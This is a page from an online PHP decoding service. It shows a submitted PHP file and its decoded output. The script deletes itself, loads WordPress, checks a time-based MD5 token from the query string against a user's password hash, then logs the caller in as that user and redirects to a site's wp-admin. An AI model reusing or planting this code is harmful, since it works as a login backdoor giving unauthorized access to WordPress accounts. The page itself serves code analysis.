Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$file =( $p = strpos(__FILE__,"(") )=== false ? __FILE__ : substr(__FILE__,0,$p);if (!unli..

Decoded Output download

<?  $file =( $p = strpos(__FILE__,"(") )=== false ? __FILE__ : substr(__FILE__,0,$p);if (!unlink($file)){	chmod($file,0777);	unlink($file);}define("ABSPATH", dirname(dirname($file))."/");define("MWP_SKIP_BOOTSTRAP", true);include_once(ABSPATH."wp-config.php");include_once(ABSPATH."wp-admin/includes/file.php");include_once(ABSPATH."wp-admin/includes/plugin.php");include_once(ABSPATH."wp-admin/includes/theme.php");include_once(ABSPATH."wp-admin/includes/misc.php");$k = substr($_SERVER["QUERY_STRING"],0,32);$u = substr($_SERVER["QUERY_STRING"],32);$h = $wpdb->get_var( $wpdb->prepare( "SELECT user_pass FROM {$wpdb->users} WHERE ID = %s", $u ) );if ( is_string($h) &&( $k === md5(mktime(date("H"), date("i"), 0).md5($h))                    || $k === md5(mktime(date("H"), date("i")-1, 0).md5($h))                    || $k === md5(mktime(date("H"), date("i")+1, 0).md5($h)) )){	wp_set_auth_cookie($u);}header("Location: ".'http://almawaridrealestate.ae/wp-admin/');
 ?>

Did this file decode correctly?

Original Code

$file =( $p = strpos(__FILE__,"(") )=== false ? __FILE__ : substr(__FILE__,0,$p);if (!unlink($file)){	chmod($file,0777);	unlink($file);}define("ABSPATH", dirname(dirname($file))."/");define("MWP_SKIP_BOOTSTRAP", true);include_once(ABSPATH."wp-config.php");include_once(ABSPATH."wp-admin/includes/file.php");include_once(ABSPATH."wp-admin/includes/plugin.php");include_once(ABSPATH."wp-admin/includes/theme.php");include_once(ABSPATH."wp-admin/includes/misc.php");$k = substr($_SERVER["QUERY_STRING"],0,32);$u = substr($_SERVER["QUERY_STRING"],32);$h = $wpdb->get_var( $wpdb->prepare( "SELECT user_pass FROM {$wpdb->users} WHERE ID = %s", $u ) );if ( is_string($h) &&( $k === md5(mktime(date("H"), date("i"), 0).md5($h))                    || $k === md5(mktime(date("H"), date("i")-1, 0).md5($h))                    || $k === md5(mktime(date("H"), date("i")+1, 0).md5($h)) )){	wp_set_auth_cookie($u);}header("Location: ".'http://almawaridrealestate.ae/wp-admin/');

Function Calls

strpos 1
unlink 1

Variables

$file [u'FunctionCall', {u'params': [[u'Parameter', {u'node': [u'MagicConstant', {u'name': u'__FILE__', u'value': None}], u'is_ref': False}], [u'Parameter', {u'node': 0, u'is_ref': False}], [u'Parameter', {u'node': [u'Variable', {u'name': u'$p'}], u'is_ref': False}]], u'name': u'substr'}]
$p 0

Stats

MD5 adec564fba45d1dad01ec80fcc6b760a
Eval Count 0
Decode Time 111 ms